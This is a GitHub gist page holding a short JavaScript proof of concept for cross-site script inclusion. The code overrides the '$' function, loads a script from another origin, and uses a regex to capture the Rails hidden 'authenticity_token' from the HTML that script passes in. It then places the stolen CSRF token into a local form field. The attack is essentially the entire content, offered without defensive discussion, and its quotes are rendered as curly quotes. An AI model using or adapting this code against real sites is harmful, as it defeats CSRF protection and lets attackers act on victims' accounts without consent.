Created
January 19, 2016 17:32
-
-
Save MaksimAbramchuk/4c7f1ab4964d1ad98f1f to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var _document = document; | |
var token = ‘’; | |
getSecureInfo = function (html) { | |
matches = html.match(/name=”authenticity_token” type=”hidden” value=”(.*)”/); | |
token = matches[1]; | |
document.getElementById(‘token’).value = token; | |
}; | |
function $() { | |
return { | |
after: getSecureInfo | |
} | |
}; | |
document.write(‘<script src=”http://example.com/users/maximabramchuk/books/new.js"> </script>'); | |
document.addEventListener(‘DOMContentLoaded’, function () { | |
document.getElementById(‘token’).value = token; | |
}, false); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment